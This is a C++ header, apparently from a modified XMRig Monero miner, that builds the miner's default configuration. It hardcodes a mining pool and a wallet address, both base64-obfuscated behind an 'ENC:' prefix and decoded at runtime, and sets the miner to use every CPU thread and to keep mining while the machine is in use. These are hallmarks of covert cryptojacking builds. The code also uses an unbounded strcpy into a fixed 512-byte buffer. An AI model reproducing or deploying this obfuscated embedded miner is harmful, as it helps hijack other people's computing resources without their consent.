#ifndef XMRIG_CONFIG_DEFAULT_H
#define XMRIG_CONFIG_DEFAULT_H

#include <stdio.h>
#include <string.h>  // for strcpy

namespace xmrig {

const char* const ENC_URL  = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTozMzMz";
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E=";

inline const char* unwrap(const char* s)
{
    const char prefix0 = 'E';
    const char prefix1 = 'N';
    const char prefix2 = 'C';
    const char prefix3 = ':';
    if (!s) return s;
    if (s[0] != prefix0 || s[1] != prefix1 || s[2] != prefix2 || s[3] != prefix3) {
        return s;
    }

    const char* in = s + 4;

    static unsigned char dtab[256];
    static unsigned char init = 0;
    if (!init) {
        unsigned int i;
        for (i = 0; i < 256; ++i) dtab[i] = 255u;
        for (i = 'A'; i <= 'Z'; ++i) dtab[i] = (unsigned char)(i - 'A');
        for (i = 'a'; i <= 'z'; ++i) dtab[i] = (unsigned char)(26 + (i - 'a'));
        for (i = '0'; i <= '9'; ++i) dtab[i] = (unsigned char)(52 + (i - '0'));
        dtab[(unsigned char)'+'] = 62;
        dtab[(unsigned char)'/'] = 63;
        init = 1;
    }

    static char outbuf[2048];
    unsigned int outpos = 0;

    int val = 0;
    int valb = -8;
    unsigned char c;
    unsigned int idx = 0;
    while (1) {
        c = (unsigned char)in[idx];
        if (c == 0) break;
        if (c == '=') break;
        unsigned char v = dtab[c];
        if (v == 255u) {
            ++idx;
            continue;
        }
        val = (val << 6) + v;
        valb += 6;
        if (valb >= 0) {
            unsigned char octet = (unsigned char)((val >> valb) & 0xFF);
            if (outpos < sizeof(outbuf) - 1) {
                outbuf[outpos++] = (char)octet;
            } else {
                break;
            }
            valb -= 8;
        }
        ++idx;
    }

    if (outpos < sizeof(outbuf)) outbuf[outpos] = 0;
    else outbuf[sizeof(outbuf)-1] = 0;

    return outbuf;
}

inline const char* getEmbeddedConfig()
{
    static char buf[8192] = {0};
    const char* tmp_url = unwrap(ENC_URL);
    char url_copy[512];
    strcpy(url_copy, tmp_url ? tmp_url : "");
    const char* url = url_copy;
    const char* user = unwrap(ENC_USER);

    const char* template_str = R"===({
    "api":{"id":null,"worker-id":null},
    "http":{"enabled":false,"host":"127.0.0.1","port":0,"access-token":null,"restricted":true},
    "autosave":true,
    "background":false,
    "colors":true,
    "title":true,
    "randomx":{"init":-1,"init-avx2":-1,"mode":"auto","1gb-pages":false,"rdmsr":true,"wrmsr":true,"cache_qos":false,"numa":true,"scratchpad_prefetch_mode":1},
    "cpu":{"enabled":true,"huge-pages":true,"huge-pages-jit":false,"hw-aes":null,"priority":null,"memory-pool":false,"yield":true,"max-threads-hint":100,"asm":true,"argon2-impl":null,"cn/0":false,"cn-lite/0":false},
    "opencl":{"enabled":false,"cache":true,"loader":null,"platform":"AMD","adl":true,"cn/0":false,"cn-lite/0":false},
    "cuda":{"enabled":false,"loader":null,"nvml":true,"cn/0":false,"cn-lite/0":false},
    "donate-level":1,
    "donate-over-proxy":1,
    "log-file":null,
    "pools":[{"algo":null,"coin":null,"url":"%s","user":"%s","pass":"x","rig-id":null,"nicehash":false,"keepalive":false,"enabled":true,"tls":false,"tls-fingerprint":null,"daemon":false,"socks5":null,"self-select":null,"submit-to-origin":false}],
    "print-time":60,
    "health-print-time":60,
    "dmi":true,
    "retries":5,
    "retry-pause":5,
    "syslog":false,
    "tls":{"enabled":false,"protocols":null,"cert":null,"cert_key":null,"ciphers":null,"ciphersuites":null,"dhparam":null},
    "user-agent":null,
    "verbose":0,
    "watch":true,
    "pause-on-battery":false,
    "pause-on-active":false
})===";

    snprintf(buf, sizeof(buf), template_str, url, user);
    return buf;
}

} // namespace xmrig

#endif // XMRIG_CONFIG_DEFAULT_H